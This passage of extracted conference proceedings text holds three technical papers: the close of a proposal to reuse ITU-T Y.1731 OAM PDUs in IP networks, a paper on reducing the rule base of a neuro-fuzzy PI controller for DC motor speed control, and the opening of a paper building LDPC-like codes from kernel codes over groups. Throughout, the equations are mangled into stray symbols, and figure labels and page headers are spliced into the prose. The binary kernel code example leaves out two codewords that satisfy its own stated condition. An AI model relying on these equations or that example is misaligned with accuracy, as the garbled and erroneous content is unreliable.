faults and measure performance of the network manually, as a result non-OAM
P. Saste (&) J. Martis

Information Science and Engineering, NMAM Institute of Technology,
Nitte-574110, Udupi, Karnataka, India
e-mail: prashant.saste28@gmail.com
J. Martis
e-mail: jason1987martis@gmail.com

438 P. Saste and J. Martis
networks have longer down period, inferior availability and are very expensive to
maintain. Many standard bodies like ITU SG 13, IEEE 802.1, IETF, MEF 17, and
IEEE 802.3 are actively working on enhancement of OAM.
The remaining of the paper is structured as follows: Section 2 gives brief
description of OAM mechanism for Ethernet networks. Section 3 describes OAM
for MPLS and MPLS-TP. Section 4 describes IP OAM. Section 5 points out the
scatteredness of OAM tools, problem faced by service providers and customers,
need of convergence of OAM, and proposes a new IP OAM standard based on
ITU Y.1731 OAMPDU. Section 6 gives implementation proposal for new IP OAM.
2 OAM for Ethernet
Ethernet introduced as LAN technology earlier consisted of countable stations and

was handled by an individual entity. Since performance was not considered as an
important parameter, fault detection was carried out manually. But as Metro
Ethernet and Carrier Ethernet technologies evolved, it became essential to reinforce
automated failure discovery and performance monitoring in order to promise SLAs.
Necessity has been raised to incorporate OAM mechanism on the Ethernet layer, in
order to provide automated fault detection and performance monitoring. To support
OAM mechanism on legacy non-OAM capable devices, OAM should be compatible
with legacy Ethernet protocols. As a result two Ethernet OAM standards were
introduced, one for single link operation and other for end-to-end service monitoring.
IEEE 802.3 working group introduced link-layer OAM [1] in the form of 802.3ah
standard for “Ethernet in the first mile” (EFM) applications. ITU-T Y.1731 and IEEE
802.1ag are the two standards for Ethernet Service OAM introduced by combined
efforts of IEEE 802.1 and ITU Study Group- 13. Same OAM PDU format and protocol
functions supported by these two standards lead to simple implementation of
Ethernet OAM for service provider. IEEE 802.1ag [2] gives the procedure to imple-
ment Ethernet OAM in IEEE 802.1 bridge and on top of that ITU standard provides
some supplementary tools like Performance Monitoring which includes one-way,
two-way delay and packet loss measurement and tools for alarm suppression [3, 4].
In Ethernet network, OAM packets are differentiated from data with the help of
Ethertype value (0×8902 for Service OAM and 0×8809 for EFM OAM) and type of
OAM PDU is identified by OpCode field present in OAM PDU. In Service layer
OAM, OAM packets are addressed to MEPs (Maintenance End Points) and MIPs
(Maintenance Intermediate Points) using specific value configured in Maintenance
Entity Level (MEL) field in OAM PDU [4]. From Ethernet OAM toolset, service
provider or customer can proactively run Continuity Check tool to detect any failure
in network, upon failure detection Loopback messages can be used to verify it and
upon verification Link Trace tool is used to isolate the failure. Delay Measurement
(DM), Loss Measurement (LM), or Synthetic Loss Measurement can be used for
performance monitoring. Table 1 gives brief about various tools present in Service
layer Ethernet OAM toolset [4].
Converged OAM 439
Table 1 Ethernet OAM toolset overview

Application OAM function
Fault management (FM) Proactive Ethernet Continuity
Check: ETH-CC
On-demand Ethernet Loopback:
ETH-LB
Ethernet Link Trace:
ETH-LT
Ethernet Alarm
Indication Signal:
ETH-AIS
Ethernet Remote
Defect Indication:
ETH-RDI
Ethernet Locked
signal: ETH-LCK
Ethernet Test:
ETH-Test
Ethernet Client
Signal Fail:
ETH-CSF
Performance monitoring (PM) Proactive Frame Loss
Measurement:
ETH-LM
Frame Delay
Measurement:
ETH-DM
Synthetic Loss
Measurement:
ETH-SLM
On-demand Frame Loss
Measurement:
ETH-LM
Frame Delay
Measurement:
ETH-DM
Synthetic Loss
Measurement:
ETH-SLM
Other application Ethernet Automatic Protection switching:
ETH-APS
Ethernet maintenance communication
channel: ETH-MCC
Ethernet experimental OAM: ETH-EXP
Ethernet vendor-specific OAM: ETH-VSP
3 OAM for MPLS
To support circuit switched IP networks, IETF introduced MPLS (Multiprotocol

Label Switching) technology, which is also called as layer 2.5 network. In order to
have OAM functionality for MPLS, IETF introduced MPLS OAM standard which
has a considerable IP component. The MPLS OAM PDUs are basically IP packets.
IETF introduced LSP Ping [5], Bidirectional Forwarding Detection (BFD) for
LSPs [6, 7] and BFD for VCCV [8] to check connectivity of LSPs. For MPLS loss
and delay measurement, IETF introduced a Loss Measurement (LM) and Delay
Measurement (DM) [9] protocol which operates over the MPLS Generic Associated
Channel (G-ACh) for LSPs, Pseudowires (PWs), and MPLS sections. Table 2 gives
brief of IETF defined MPLS OAM toolset.
To support MPLS applications, ITU introduced new OAM standard (ITU-T
Y.1711) known as “Operation and Maintenance mechanism for MPLS networks” with
more functionality which was not supported by IETF MPLS OAM such as Forward
Defect Indication (FDI), Backward Defect Indication (BDI) alarms [10]. ITU MPLS
OAM uses MPLS only OAM PDU unlike IETF MPLS OAM which uses IP UDP
packet. All OAM packets are identified within LSP traffic by the use of OAM Alert
Label (Label 14). Brief of ITU defined MPLS OAM toolset is given in Table 3.
Table 2 IETF MPLS OAM toolset overview

Fault management (FM) Proactive LSP Ping
BFD for LSP
On-demand LSP Ping
Performance monitoring (PM) Proactive Packet Loss Measurement: LM
Packet Delay Measurement: DM
On-demand Throughput Measurement
Delay Variation Measurement
Table 3 ITU MPLS OAM toolset overview

Fault management (FM) Proactive Connectivity Verification: CV
On-demand Fast Failure Detection: FFD
Forward Defect Indication: FDI
Backward Defect Indication: BDI
Converged OAM 441
Table 4 ITU MPLS-TP OAM toolset overview

Fault management (FM) Proactive Continuity Check Message: CCM
On-demand OAM Loopback: LBM/LBR
Alarm Indication Signal: AIS
Lock Reporting: LCK
Test: TST
Client Signal Fail: CSF
Performance monitoring (PM) Proactive Loss Measurement: LMM/LMR
Delay Measurement: DM
On-demand Loss Measurement: LMM/LMR
Delay Measurement: DM
For MPLS-TP (Transport Profile) ITU-T suggests to reuse the same OAM PDUs
format and mechanism defined in ITU-T Y.1731 [11]. MPLS-TP is based on same
architectural perception of layered network which is already used in SONET/SDH
and it takes the best from two worlds, OAM functions of TDM (SONET/SDH) and
Data/Control plane efficiency from IP/MPLS networks. MPLS-TP does not support
LTM/LTR function from ITU-T Y.1731, since it is used to trace a path for specific
MAC address. All other functions of ITU-T Y.1731 are supported by MPLS-TP
with the help of some additional TLVs.
In MPLS-TP network, OAM packets are differentiated from data with the help of
ACH and GAL labels, and are addressed to Maintenance End Points and
Maintenance Intermediate Points using MPLS forwarding mechanisms (TTL
Expiration, Label Stacking). The existence of OAM PDU is classified by a unique
ACH Channel Type and type of OAM PDU is given by OpCode field present within
OAM PDU. Table 4 gives an overview of ITU defined OAM toolset for MPLS-TP.
4 OAM for IP
Considering the importance of IP as a backbone network, it is necessary to have

separate OAM functionality for IP networks. IETF defines ICMP ping, IP
Traceroute [12], and BFD [13] for IPv4 and IPv6 to discover and localize a defect
in IP networks and for performance measurement IETF IPPM work group defines
protocols for measuring packet loss and delay [14]. One-Way Active Measurement
Protocol [15] and Two-Way Active Measurement Protocol [16] are used to measure
one-way and two-way performance metrics, with the help of two types of protocols,
control plane protocols, and test plane protocols. The control plane protocols are
Table 5 IETF IP OAM toolset overview

Fault management (FM) Proactive ICMP Ping
BFD
On-demand ICMP Ping
IP Traceroute
BFD
Performance monitoring (PM) Proactive Delay Measurement
Packet Loss Measurement
On-demand Delay Measurement
Packet Loss Measurement
used to initiate and terminate the test sessions. Test protocols are used to create test
packets and log statistics of packet arrival. Control protocols and test protocols run
over TCP and UDP, respectively. Table 5 gives brief of IP OAM toolset.
5 Convergence of OAM Toolset
As discussed in the previous sections, ITU and IETF defined their own OAM
standards for Ethernet, MPLS, and IP networks. OAM enhancement is still in
progress, other standard bodies are also working on enhancement of OAM tools.
This leads to multiple OAM tools from different standard bodies which perform the
same functionality. For example, ITU and IETF defined their own OAM tools for
MPLS networks which offer the same functionality and important part is, they
cannot be used in the same network because of their unique PDU format and
method of identifying OAM packet. The Scattered OAM toolkit leads to multiple
service monitoring and architectural alternatives to the service providers. To deploy
Ethernet, MPLS, and IP OAM, service provider needs to maintain different state
machines for each tool which results into more complex architecture. So there is a
need for convergence of OAM toolkit, to do so we suggest reusing the same PDU
format and procedures defined in ITU-T Y.1731 standard for IP OAM, which can
be benefited for the service provider and the customer in many ways. Although
ITU-T Y.1731 is defined for Ethernet OAM, it is technology independent which
allows us to use same toolset in any other packet technologies. Some of the benefits
of reusing ITU-T Y.1731 PDU in IP are as follows:
• ITU-T Y.1731 OAM tool set is very rich in terms of fault management, per-
formance management tools. It also supports other applications like
Experimental OAM, Vendor-specific OAM, and APS.
• Usage of same OAM toolkit in all networks will allow us to maintain same state
machine cycles.
Converged OAM 443
• By deploying the same OAM mechanism, there will not be any interoperability
issue.
• Any enhancement in toolset will allow us to adopt same enhancement in all
other networks.
• Can be used to generate individual layer alarms and notifications on detection of
defect.
• Packet processing delay can be reduced.
6 Implementation Proposal
ITU-T Y.1731 OAM PDU can be implemented in IP network in two ways:

• With UDP header
• Without UDP header
Y.1731 PDU can be inserted in packet after UDP (User Datagram Protocol)
header, where UDP destination port will identify presence of OAM PDU and inside
the OAM PDU, OpCode field gives the type of OAM PDU. In case of without UDP
header, Y.1731 PDU can be inserted in packet directly after IP header, where
protocol field in IPv4 and next header field in IPv6 will help to identify presence of
OAM PDU in packet. Figures 1 and 2 show the proposed implementation strategy.
Ethernet IP UDP Y.1731

Header Header Header OAM PDU
Fig. 1 Implementation with UDP header
Ethernet IP Y.1731
Header Header OAM PDU
Fig. 2 Implementation without UDP header
7 Conclusion
It is recognized that OAM mechanism is a very important toolkit for network

providers and customers. This paper summarizes different OAM toolset supported
by Ethernet, MPLS, and IP networks. It is observed that, there are multiple tools
present, which perform the same functionality, so there is a need for convergence of
OAM toolset.
In this paper, we suggest reusing ITU-T Y.1731 OAM PDU in IP networks,
which results into the “Converged OAM” toolset. OAM deployment and archi-
tectural issues can be resolved with proposed solution. Future work is to work on
detailed analysis of proposed solution to find out pros and cons of new IP OAM
implementation.
References
1. IEEE Std 802.3ah: Part 3: Carrier Sense Multiple Access with Collision Detection
(CSMA/CD) Access Method and Physical Layer Specifications, clause 57 (2004)
2. IEEE Std 802.1ag: IEEE Standard for Local and metropolitan area networks—Virtual Bridged
Local Area Networks Amendment 5: Connectivity Fault Management (2007)
3. ITU-T Recommendation Y.1730: Requirements for OAM functions in Ethernet-based
networks and Ethernet services (2004)
4. ITU-T G.8013/Y.1731: OAM functions and mechanisms for Ethernet based networks (2013)
5. Kompella, K., Swallow, G.: Detecting Multi-Protocol Label Switched (MPLS) Data Plane
Failures, RFC 4379, Feb 2006
6. Katz, D., Ward, D.: Bidirectional Forwarding Detection (BFD), RFC 5880, June 2010
7. Aggarwal, R. et al.: Bidirectional Forwarding Detection (BFD) for MPLS Label Switched
Paths (LSPs), RFC 5884, June 2010
8. Nadeau, T., Pignataro, C.: Bidirectional Forwarding Detection (BFD) for the Pseudowire
Virtual Circuit Connectivity Verification (VCCV), RFC 5885, June 2010
9. Frost, D., Bryant, S.: Packet Loss and Delay Measurement for MPLS Networks, RFC 6374,
September 2011
10. ITU-T Recommendation Y.1711: Operation & Maintenance mechanism for MPLS networks
(2004)
11. Busi, I. et al.: MPLS-TP OAM based on Y.1731, draft-bhh-mpls-tp-oam-y1731-08.txt
12. Postel, J.: Internet Control Message Protocol, RFC 792, September 1981
13. Katz, D., Ward, D.: Bidirectional Forwarding Detection (BFD)for IPv4 and IPv6 (Single Hop),
RFC 5880, June 2010
14. Paxson, V. et al.: Framework for IP Performance Metrics, RFC 2330, May 1998
15. Shalunov, S., et al.: A One-way Active Measurement Protocol (OWAMP), RFC 4656, Sept
2006
16. Hedayat, K., et al.: A Two-Way Active Measurement Protocol (TWAMP), RFC 5357, Oct
2008
Rule Reduction of a Neuro-Fuzzy
PI Controller with Real-Time
Implementation on a Speed
Control Process
Arijit Ghosh, Satyaki Sen and Chanchal Dey
Abstract This study is an attempt for neuro-fuzzy implementation of a

prior-designed fuzzy PI controller (FPIC) with reduced number of rules but without
sacrificing the controller performance up to a certain extent. To accomplish the
goal, backpropagation-based learning algorithm is used to model a connectionist
fuzzy controller based on an input–output data set. The resultant fuzzy controllers
with reduced rule sets are much faster in operation and cheaper due to lesser
memory space requirement. Effectiveness of the designed fuzzy controllers is
studied through simulation as well as real-time experimentation on a servo speed
control application. Both the simulation and experimental results substantiate the
efficacy of the designed neuro-fuzzy controllers with lesser number of rules for
approximating the behaviour of a nonlinear fuzzy controller with considerably
larger rule base.

Keywords Fuzzy controller Rule reduction Neural networks Neuro-fuzzy

controller Servo speed control
1 Introduction
Fuzzy logic controllers (FLCs) are popular due to their inherent capability to deal
with linear as well as nonlinear and uncertain processes [1]. They have been suc-
cessfully implemented in different industrial applications and proved to be superior
A. Ghosh (&)
Department of AEIE, RCC Institute of Information Technology, Kolkata, India
e-mail: arijitghosh@yahoo.com
S. Sen
Department of ETCE, Pailan Technical Campus, Kolkata, India
e-mail: satyaki.ods@gmail.com
C. Dey
Department of Applied Physics, University of Calcutta, Kolkata, India
e-mail: cdaphy@caluniv.ac.in

446 A. Ghosh et al.
and lesser sensitive in comparison to their conventional counterparts [2]. Suitable

choice of scaling factors (SFs), membership functions (MFs) and rule base are the
key parameters in designing a well-tuned FLC. But, the main limitation of fuzzy
controllers is that they do not possess any learning ability [3]. Whereas, neural
network (NN) can learn from a given input–output data set [4] and it has fault
tolerant feature [5]. So, these two soft computing tools (fuzzy logic and neural
network) have complementary attributes, as a result it has attracted the interest of
researchers to integrate their potentials and generate an enhanced hybrid model
named as neuro-fuzzy network (NFN) [6]. In neuro-fuzzy system, we can embed
the knowledge present in fuzzy rules through parameter as well as structure learning
of NN [6].
Here, initially we have designed a multi-layered feedforward NN structure
capable of incorporating the functions of a PI type fuzzy controller (FPIC) and the
resultant controller is termed as neuro-fuzzy PI controller (NFPIC). The input–
output data set for training of NFPIC is obtained from a FPIC with 49 rules.
Utilizing universal approximation property and learning ability of NN, we attempt
to develop a NFPIC with reduced rule set [7]. Initially 25 rules (50 % reduction) are
used by NFPIC and later only 9 rules (80 % reduction) are used by NFPIC to
achieve the performance of FPIC with 49 rules. In the subsequent sections, we will
discuss about the connectionist NFN structure and its learning mechanism, design
of the neuro-fuzzy controller (NFC) with its rule reduction mechanism. In the result
section, both the simulation and real-time experimental observations are provided
with a conclusion at the end.
2 Basic Structure of Neuro-Fuzzy Network
The basic structure of the proposed connectionist NFN model is shown in Fig. 1. It
is a five-layered network to realize a traditional FLC based on input–output training
data set. Next, we will discuss briefly about the layerwise signal propagation
Fig. 1 Structure and learning of neuro-fuzzy network
Rule Reduction of a Neuro-Fuzzy PI Controller … 447
mechanism in the forward as well as in the reverse directions as shown by the arrow
heads in Fig. 1. During forward pass, signal flows from the input to the output
(shown by solid arrow head) and during backward pass (i.e. learning phase) signal
flows in the reverse direction as shown by the dashed arrow head.
Layer 1: Input—The layer one nodes transmit input values directly to the next
layer.
Layer 2: Fuzzification—Each node of layer two computes membership function
(MF). Here, Gaussian MFs are used to define the linguistic variables.
Layer 3: Fuzzy AND operation—Each node of this layer is a rule node which
represents one fuzzy rule. Thus, all the layer three nodes constitute the fuzzy rule
base. The links of this layer form the antecedent part which performs the pre-
condition matching of fuzzy rules.
Layer 4: Fuzzy OR operation—The links of layer four are responsible for
consequences of the rule nodes. In this layer, the nodes have two operational
modes: down–up and up–down. In the down–up transmission mode, the nodes
perform fuzzy OR operation to integrate the fired rules having same consequences
whereas in up–down mode, signals flow in the reverse direction and the links of
layer five perform exactly the same as of layer two.
Layer 5: Defuzzification—In this layer, there are two kinds of nodes in hybrid
learning algorithm. The first one performs up–down transmission for the training
data to feed into the network whereas the second one performs down–up trans-
mission for the signal output where these nodes and the attached links of layer five
act as defuzzifier.
3 Supervised Learning of Fuzzy Neural Network
Once the NFN structure is designed, training of the network is done by back-
propagation learning algorithm with a goal to minimize the error function:
1
E ¼ ½yðtÞ ^yðtÞ2 ð1Þ
2
where, yðtÞ. is the desired output, and ^yðtÞ is the present output. The signal flow
during backpropagation is shown by dashed arrow head in Fig. 1. The layerwise
computation of the supervised learning scheme is discussed briefly as follows:
Layer 5: In this layer, centre and width of MFs are modified by gradient
descent-based learning algorithm for achieving the desired response.
Layer 4: No parameter is to be adjusted in the up–down mode of this layer. Only
error signals are computed and propagated to the next layer.
Layer 3: It consists of rule nodes, so weights are not updated here.
Layer 2: The nodes of this layer forms the fuzzification layer, so the parameters
of MFs are adjusted to achieve the desired response. The detailed mathematical
relations in this regard are given in [6].
448 A. Ghosh et al.
4 Neuro-Fuzzy Controller Design
The block schematic of a neuro-fuzzy close-loop control technique is shown in

Fig. 2. In neuro-fuzzy controller, the synergism of fuzzy logic and neural network is
capable of using a fuzzy system to represent the knowledge in an interpretable
manner and learning ability of neural network for parameters refinement is utilized
so that the desired process response may be achieved.
5 Designing the Fuzzy Controller
To generate the training data for NFPIC, a FPIC is designed with 7 triangular MFs
consisting of NB (Negative Big), NM (Negative Medium), NS (Negative Small), Z
(Zero), PS (Positive Small), PM (Positive Medium), and PB (Positive Big). All the
MFs are of equal base and 50 % overlapped with neighbouring MFs to represent all
the input, i.e. error (e) and change of error (Δe) and output, i.e. change of control
action (Δu) variables. Suitable scaling factors (SFs) are selected to define all the
variables over the common normalized domain [−1, 1]. The relationship between
SFs (Ge, GΔe, GΔu) and the input and output variables of FPIC are given as follows:
eN ¼ G e e ð2Þ
DeN ¼ GDe De ð3Þ
Du ¼ GDu DuN ð4Þ
Output (u) for FPIC can be obtained by the following relation:
uðkÞ ¼ uðk 1Þ þ DuðkÞ: ð5Þ
Fig. 2 Block diagram of the neuro-fuzzy controller
A total of 49 rules are designed based on the knowledge of an experienced operator

so that an improved overall process response may be achieved. Now, from the training
data set obtained from FPIC relating the output Δu as a function of inputs e and Δe,
our prime goal is to extract a smaller set of rules using the learning capability of NN.
A similar attempt was made in [7] where the learning mechanism of neuro-fuzzy
network was used to realize the performance of a self-tuning fuzzy controller.
Performances of designed NFPIC with lesser number of rules are evaluated through
simulation study as well as real-time implementation on a DC speed control system
against the initially designed FPIC to justify the effectiveness of the neuro-fuzzy
structure. For having a detailed quantitative analysis, a list of performance indices—
percentage overshoot (%OS), rise time (tr), settling time (ts), integral absolute error
(IAE) and integral time absolute error (ITAE)—are evaluated for each case separately.
For simulation study, the model for a servo speed control system is given by Eq. (6).
The values of SFs chosen are Ge = 1, GΔe = 3 and GΔu = 0.025 based on trial and
error and to some extent on process knowledge so that a satisfactory speed control
response may be obtained as shown in Fig. 3.
19:9
Gp ðsÞ ¼ e0:02s ð6Þ
ð0:09s þ 1Þ
A. Neuro-Fuzzy controller with 49 rules:

Initially, the NFPIC is designed for the servo speed control system as given by
Eq. (6) with 7 Gaussian MFs (NB, NM, NS, Z, PS, PM and PB) for all the input and
output variables (e, Δe and Δu). The nature of MFs before and after training is shown
in the Fig. 4a, b, respectively. Related rule base having 49 rules is shown in Table 1.
Fig. 3 Response of FPIC
450 A. Ghosh et al.
The control surface before and after the training of NFC is shown in Fig. 5.
Performance of the designed NFPIC is validated against a test data set to verify
generalization capability of the controller and the performance is found to be quite
satisfactory as shown in Fig. 6. The obtained neuro-fuzzy controller is tested for servo
speed control system and its response and related control action are shown in Fig. 7.
B. Neuro-Fuzzy Controller with 25 rules
After designing the neuro-fuzzy controller with 7 input–output MFs, another
attempt is made to reduce the number of MFs from 7 to 5 for both the input and
output. The 5 MFs are given by NB, NS, Z, PS and PB as shown in Fig. 8a and the
related rule base is shown in Table 2. Here, almost 50 % (from 49 rules to 25 rules)
reduction in the rule base is accomplished and the shape of MFs after training is
shown in Fig. 8b. The control surface before and after the training of NFC is shown
in Fig. 9. Similar to the earlier one, validation of this controller is also performed
and the corresponding plot is shown in the Fig. 10. The response of NFPIC with 25
rules for the same servo speed control process is shown in Fig. 11 and is found to be
almost similar to the response obtained from FPIC with 49 rules.
Fig. 4 MFs for e and Δe a before training, b after training
Table 1 Rule base for Δe e

NFPIC with 49 rules
NB NM NS Z PS PM PB
NB NB NB NB NB NM NS Z
NM NB NB NB NM NS Z PS
NS NB NB NM NS Z PS PM
Z NB NM NS Z PS PM PB
PS NM NS Z PS PM PB PB
PM NS Z PS PM PB PB PB
PB Z PS PM PB PB PB PB
Fig. 5 Control surface a before, b after training with 49 rules
Fig. 6 Model validation of the controller
452 A. Ghosh et al.
Fig. 7 Response and control action of NFPIC
C. Neuro-fuzzy controller with 9 rules

Now, further attempt is made to reduce the number of MFs from 5 to 3 for both the
input–output and hence there will be nearly 80 % reduction (from 49 rules to 9
Fig. 8 MF for e and Δe a before, b after training

NFPIC with 25 rules
NB NS Z PS PB
NB NB NB NB NS Z
NS NB NB NS Z PS
Z NB NS Z PS PB
PS NS Z PS PB PB
PB Z PS PB PB PB
(a) (b)
0.8 0.8
change-in-control-action
0.6 0.6
0.4 0.4
0.2 0.2
0 0
-0.2 -0.2
-0.4 -0.4
-0.6 -0.6
-0.8 -0.8
1
0.5 1 0.5
0 0.5 0 0.5
0 0
-0.5 -0.5 -0.5 -0.5
change-of-error -1 -1 error change-of-error error
Fig. 9 Control surface a before, b after training with 25 rules
rules) in the size of rule base. Three MFs are defined as N (Negative), Z (Zero) and
P (Positive) as shown in Fig. 12a. The rule base consisting of 9 rules is shown in
Table 3. After the training phase, the nature of MFs is shown in Fig. 12b.
454 A. Ghosh et al.
Fig. 11 Response and control action of NFPIC
Fig. 12 MF for e and Δe a before and b after training

NFPIC with 9 rules
N Z P
N N N Z
Z N Z P
P Z P P
(a) (b)
0.8 0.8
0.6 0.6
0.4 0.4
0.2 0.2
0 0
-0.2 -0.2
-0.4 -0.4
-0.6 -0.6
-0.8 -0.8
1
0.5 1 0.5
0 0.5 0 0.5
0 0
-0.5 -0.5 -0.5 -0.5
-1 -1 change-of-error
change-of-error error error
Fig. 13 Control surface a before and b after training with 9 rules
The nature of control surface before and after training is shown in Fig. 13 and
validation of the controller is demonstrated through Fig. 14. The designed NFC is also
tested in simulation environment against the same speed control process and related
responses are shown in Fig. 15 and are found to be almost similar to that of Fig. 11.
To have a quantitative estimation of the performances obtained from various
neuro-fuzzy controllers with different-sized rule bases, performance indices are
listed in Table 4.
7 Real-Time Experimental Results
In real-time experimentation, the controller aims to keep the speed of DC servo-

motor at a desired value with minimum overshoot or undershoot. For achieving
this, armature voltage applied to motor is controlled by NFPIC, while the field
excitation remains constant. Speed of the motor is measured using incremental
optical encoder which produces a digital code corresponding to shaft speed. The
signal is transmitted to PC using data acquisition module (Quanser Q8 HIL board)
[8]. The experimental set-up is shown in Fig. 16. The control algorithm is devel-
oped using Matlab and is converted into C/C++ code using Real-Time Workshop
(RTW) which is a Matlab tool to generate standalone executable code in the
real-time environment. Real-Time Windows Target (RTWT) is a PC solution for
testing real-time systems where a PC acts as a host and target executing the
456 A. Ghosh et al.
Fig. 15 Response and control of NFPIC
real-time code generated by the RTW. The real-time set-up consists of a DC Motor
control trainer (DCMCT) supplied by Quanser and is interfaced with the PC using
data acquisition module (Quanser’s HIL board). The PC is also supplied with
application software provided for real-time interface applications. The real-time
Table 4 List of performance indices

Controller type Rise time (tr) Settling time (ts) IAE ITAE
FPIC (49 rules) 0.49 0.49 0.17 0.21
NFPIC (49 rules) 0.49 0.49 0.17 0.21
NFPIC (25 rules) 0.51 0.51 0.17 0.21
NFPIC (9 rules) 0.30 0.30 0.18 0.19
Fig. 16 Real-time experimental set-up
experimental results for the FPIC and all the NFPICs consisting of 49, 25 and 9
rules are shown in Fig. 17a–d. From the experimental results it is found that the
designed neuro-fuzzy controllers with reduced rule bases are capable enough to
perform satisfactorily and are also nearly close to the FPIC which substantiate the
learning ability of neuro-fuzzy network.
Fig. 17 Real-time response and control action of a FPIC with 49 rules. b NFPIC with 49 rules.
c NFPIC with 25 rules. d NFPIC with 9 rules
458 A. Ghosh et al.
8 Conclusion
In this work, a study is made about the performance of the designed neuro-fuzzy
controllers with different size of rule bases. From the simulation as well as
experimental study, it is found that through proper training of neuro-fuzzy network
for a given database, performance of a fuzzy controller can be kept almost same
inspite of its rule reduction up to a certain extent and thus complexities in terms of
computation time, memory space and cost of implementation can be minimized.
Here, we have implemented the neuro-fuzzy controllers whose MF parameters have
been tuned offline using backpropagation learning. Future work may be done in
selecting the appropriate shape of MFs with online tuning to achieve the desired
goal.
References
1. Driankov, D., Hellendorn, H., Reinfrank, M.: An Introduction to Fuzzy Control. Springer, New
York (1993)
2. Sugeno, M.: Industrial Applications of Fuzzy Control. Elsevier, Netherlands (1985)
3. Ghosh, A., Sen, S., Dey, C.: Design and real-time implementation of a fuzzy PI controller on a
servo speed control application. In: Proceedings of IEEE International Conference on Signal
Processing and Integrated Networks- SPIN 2015, pp. 384–387 (2015)
4. Ghosh, A., Sen, S., Dey, C.: Neuro-fuzzy design of a fuzzy PI controller with real-time
implementation on a speed control system. In: Proceedings of IEEE International Conference on
Contemporary Computing and Informatics- IC3I 2014, pp. 645–650 (2014)
5. Haykin, S.: Neural Network-A Comprehensive Foundation. Prentice Hall, Englewood Cliffs
(2008)
6. Jang, J.S.R., Sun, C.T., Mizutani, E.: Neuro-Fuzzy and Soft Computing: A Computational to
Learning and Machine Intelligence, Prentice Hall, Englewood Cliffs (1996)
7. Mudi, R.K., Dey, C., Lee, T.T.: Neuro-fuzzy implementation of a self tuning fuzzy controller.
In: Proceedings of IEEE Conference on Systems, Man, and Cybernetics, pp. 5065–5070 (2006)
8. Documentation for the Quanser DCMCT. Quanser, Canada (2010)
Construction of Binary and Nonbinary
LDPC-like Codes from Kernel Codes
C. Pavan Kumar, R. Selvakumar and Raghunadh K. Bhattar
Abstract Low Density Parity Check (LDPC) codes have been of great interest to
researchers due to its low complexity in encoding as well as decoding. Since the
introduction of Turbo codes in 1993, importance of LDPC codes has been widely
explored. Various techniques have been introduced for encoding and decoding of
low density parity check codes based on algebraic structures, codes on graphs, etc.
In this paper, a new method of constructing binary and nonbinary LDPC-like codes
from Kernel codes defined over groups is discussed. Also, we show that con-
structions of binary and nonbinary LDPC-like codes are particular cases of our
proposed method.
Keywords LDPC codes Kernel codes Algebraic structures
1 Introduction
Shannon’s influential paper on Mathematical Theory of Communication [1] hinted

the existence of random codes achieving channel capacity and Hamming’s seminal
paper on error correction [2] paved the way for coding theory. Since then, various
codes have been proposed for source coding and channel coding.
Channel coding involves adding of extra bits called parity bits or redundancy
bits along with data bits or information bits in order to overcome the effect of noise
on data transmitted through channel. Various codes such as Reed–Solomon codes,
Reed Muller codes, Turbo codes, Low Density Parity Check (LDPC) codes, Golay
codes, Bose, Chaudhuri, and Hocquenghem (BCH) codes, etc., were proposed
C.P. Kumar (&) R. Selvakumar

School of Advanced Sciences, VIT University, Vellore, India
e-mail: pavankumarc@vit.ac.in
URL: http://www.vit.ac.in
R.K. Bhattar
Space Applications Center, ISRO, Ahmedabad, India

460 C.P. Kumar et al.
[3–5] and their performance over different channel models such as Additive White
Gaussian Noise (AWGN), Binary Symmetric Channel (BSC), and Binary Erasure
Channel (BEC) are widely studied [6–9].
Low Density Parity Check codes proposed by Gallager in 1963 were long time
neglected till the introduction of near Shannon capacity approaching Turbo codes in
1993 [3]. Since then, LDPC codes have been revisited with emphasis on low
complexity encoding mainly using Algebraic structures, Tanner Graphs, Factor
Graphs and decoding by hard-decision bit-flipping, soft-decision message-passing,
and sum–product algorithms [10–18]. With the recent addition being the study of
nonbinary LDPC codes over Algebraic structures and codes over graphs [19].
In this paper, a new method of constructing binary and nonbinary LDPC codes
have been proposed using Kernel codes defined over groups [20]. Section 2 of the
paper deals with binary and nonbinary Kernel codes defined over groups. Section 3
of the paper discusses the proposed construction of binary and nonbinary LDPC
codes from Kernel codes over groups. Section 4 of the paper deals with the
examples of LDPC-like codes from proposed method, and Sect. 5 with conclusions.
2 Kernel Codes
Kernel Codes [20] are a class of group codes defined over finite groups and finite
length codes are constructed using such codes. Kernel codes and its system property
such as controllability are discussed in [20] and its application to unconventional
DNA construction is discussed in [21].
Kernel codes are obtained by defining Homomorphisms from a set of finite
groups to Abelian group.
Construction is as follows:
Let G1 , G2 , G3 ,… Gn be groups and S be an Abelian group.
The Kernel of Homomorphism is defined as
lðg1 ; g2 ; g3 ; . . .; gn Þ ¼ l1 ðg1 Þl2 ðg2 Þl3 ðg3 Þ. . .ln ðgn Þ
where, li is a homomorphism from Gi ! S, i ¼ 1; 2; 3; . . .; n.

Homomorphism mapped to identity element of Abelian group is called as Kernel
of Homomorphism [5]. These homomorphisms can be defined as required to
applications either as binary or nonbinary.
Construction of Binary and Nonbinary LDPC-like Codes … 461
Algorithm 1 Kernel Codes

\\Constructs Kernel codes from Finite Groups homomorphism over Abelian Groups
\\Input: Finite Groups G1 ,G2 ,G3 ,...,Gn and Abelian group S with 0 as Identity element
\\Output: Set of Kernel Codes K
1: procedure Kernel
2: Compute Cartesian product of Finite Groups G1 ,G2 ,G3 ,...,Gn
3: loop:
4: for i= 1 to n do
5: µi = select values suitable for application.
6: if µ1 (g1 )µ2 (g2 )µ3 (g3 )...µn (gn ) = 0 then
7: add to set K
8: return K
2.1 Binary Kernel Codes
Let Z be the group of integers. Binary Kernel codes are obtained by Homomorphism
of finite Z2 groups over Abelian group Z2 . Z2 is an Abelian group defined over
Addition Modulo 2 with 0 being identity element and binary operation +.
Binary Kernel codes are defined by taking finite groups and defining
homomorphisms.
Consider Z2 Z2 Z2 Z2 ! Z2 be finite groups with homomorphisms li
defined as l1 ð0Þ ¼ 0; l1 ð1Þ ¼ 0; l2 ð0Þ ¼ 0; l2 ð1Þ ¼ 1; l3 ð0Þ ¼ 0; l3 ð1Þ ¼
0; l4 ð0Þ ¼ 0 and l4 ð1Þ ¼ 1.
The Cartesian products of above-defined finite groups are {0000, 0001, 0010,
0011, 0100, 0101, 0110, 0111, 1000, 1001, 1010, 1011, 1100, 1101, 1110, 1111}.
By applying the homomorphisms defined, we obtain {0000, 0101, 0111, 1010,
1101, 1111} as Kernel codes which satisfy the condition l1 ðg1 Þ þ l2 ðg2 Þ þ
l3 ðg3 Þ þ l4 ðg4 Þ ¼ 0. Thus, obtained codes are binary in nature and form the
